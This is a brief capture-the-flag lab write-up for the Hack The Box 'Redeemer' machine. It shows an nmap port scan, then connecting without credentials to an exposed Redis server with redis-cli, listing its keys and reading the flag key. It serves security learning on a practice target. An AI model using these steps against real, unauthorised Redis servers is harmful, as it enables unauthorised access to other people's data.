

Hackthebox

[Hack The Box :: Starting Point](#)

Reddeemer

STEP 1: Discover the host

```
$ nmap -Pn -p- -sV -T5 <IP>
```

```
Nmap scan report for 10.129.61.233
Host is up (0.084s latency).
Not shown: 61844 closed tcp ports (reset), 3690 filtered tcp po
PORT      STATE SERVICE VERSION
6379/tcp  open  redis   Redis key-value store 5.0.7

Service detection performed. Please report any incorrect result
Nmap done: 1 IP address (1 host up) scanned in 225.02 seconds
```

one port is open that's Redis.

and redis stores data in RAM in a key-value manner.

let's see if can be exploit the redis.

STEP 2: redis-lic

this tool redis-lic is used to interact with the Redis server.

```
$ redis-lic -h <IP>
```

```
(root@kali)-[/home/kali]
# redis-cli -h 10.129.61.233
10.129.61.233:6379> █
```

we login successful.

\$ info

to show details about the server such as version, clients and more.

```
(root@kali)-[/home/kali]
# redis-cli -h 10.129.61.233
10.129.61.233:6379> info
# Server
redis_version:5.0.7
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:66bd629f924ac924
redis_mode:standalone
os:Linux 5.4.0-77-generic x86_64
arch_bits:64
multiplexing_api:epoll
atomicvar_api:atomic-builtin
gcc_version:9.3.0
process_id:756
```

after we see the details let's discover the files there.

\$ keys *

```
10.129.61.233:6379> keys *
1) "temp"
2) "flag"
3) "stor"
4) "numb"
10.129.61.233:6379>
```

Good there's 4 files here let's discover the file **flag**.

\$ get <filename>

```
10.129.61.233:6379> get flag
[REDACTED]
10.129.61.233:6379>
```

I found the flag with tool **redis-lic**.